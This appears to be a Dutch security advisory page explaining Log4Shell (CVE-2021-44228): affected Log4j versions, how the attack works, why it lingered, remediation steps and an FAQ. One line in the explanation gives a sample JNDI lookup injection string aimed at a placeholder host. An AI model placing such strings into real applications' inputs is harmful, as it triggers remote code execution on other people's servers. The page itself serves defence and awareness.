Direct naar inhoud

Log4Shell (CVE-2021-44228)

CVE-2021-44228CWE-917OWASP A03:2021CVSS 10.0Bijgewerkt 29 augustus 20261 min leestijd

Log4Shell is een kwetsbaarheid in Apache Log4j 2 waarmee een aanvaller met één tekenreeks in een logregel willekeurige code op de server laat draaien. De score is 10.0, de hoogste die CVSS kent. Binnen uren na publicatie werd er wereldwijd op gescand. Log4j zit diep in Java-toepassingen verstopt, dus de enige betrouwbare aanpak is uitzoeken waar u het draait en naar 2.17.1 of hoger gaan.

Kwetsbaar
Apache Log4j 2.0-beta9 tot en met 2.14.1
Gepatcht in
Log4j 2.15.0; volledig gedicht vanaf 2.17.1
Actief misbruikt
ja

Op 9 december 2021 werd een kwetsbaarheid gepubliceerd in Log4j 2, de logbibliotheek die in vrijwel elke Java-toepassing zit. Binnen enkele uren scande het hele internet erop. Log4Shell geldt sindsdien als het schoolvoorbeeld van hoe diep één component in een softwareketen kan zitten.

Wat is Log4Shell

Log4j kan waarden in een logregel opzoeken en vervangen. Een tekst als ${jndi:ldap://voorbeeld.nl/a} was voor de bibliotheek geen tekst maar een opdracht: haal iets op bij die server en voer het uit. Alles wat een applicatie logt kon die opdracht bevatten, en applicaties loggen bijna alles: een gebruikersnaam, een zoekterm, een User-Agent-header.

Hoe verloopt de aanval

De aanvaller zet de tekenreeks in een veld waarvan hij vermoedt dat het gelogd wordt. Vaak was dat gewoon de User-Agent van een HTTP-verzoek. Zodra de applicatie die regel wegschreef, maakte de server zelf verbinding met de aanvaller en haalde een Java-klasse op die vervolgens werd uitgevoerd. Geen inloggegevens nodig, geen interactie van een medewerker.

Dat de server zelf uitgaand verbinding maakt, maakt dit ook een schoolvoorbeeld van SSRF als tussenstap naar remote code execution.

Waarom dit zo lang doorliep

Log4j wordt zelden bewust geïnstalleerd. Het komt mee als afhankelijkheid van een framework, dat weer meekomt met een product van een leverancier. Organisaties wisten daardoor simpelweg niet waar het draaide. Toepassingen die nooit gepatcht zijn, worden jaren later nog steeds gevonden en misbruikt.

Wat u nu moet doen

  • Inventariseer welke toepassingen Log4j 2 gebruiken, inclusief indirecte afhankelijkheden. Een software bill of materials maakt dit herhaalbaar.
  • Ga naar Log4j 2.17.1 of hoger. Versie 2.15.0 dichtte deze CVE, maar daarna volgden nog drie verwante kwetsbaarheden.
  • Beperk uitgaand verkeer vanaf servers. Zonder de mogelijkheid om naar buiten te bellen, strandt de tweede stap van de aanval.
  • Controleer of er in december 2021 al iets is binnengekomen. Toegang die toen is verkregen, kan er nog steeds zijn.

Bronnen

Veelgestelde vragen

Ben ik nog steeds kwetsbaar voor Log4Shell?

Als u een Java-toepassing draait die Log4j 2 gebruikt en de versie ligt onder 2.17.1, dan wel. Log4j komt vaak mee als afhankelijkheid van een andere bibliotheek, dus een handmatige inventarisatie van uw software is de enige manier om het zeker te weten.

Helpt een WAF tegen Log4Shell?

Een firewall vangt de bekende patronen af en koopt u tijd, maar de tekenreeks is op tientallen manieren te verhullen. Alleen upgraden lost het echt op.

Waarom kreeg Log4Shell een 10.0?

De aanval vereist geen account, geen gebruikersinteractie en is over het netwerk uit te voeren, en de aanvaller krijgt volledige controle over het proces. Dat is de maximale score op elke as van CVSS.

Verwante artikelen

Druk op / om te zoeken · Esc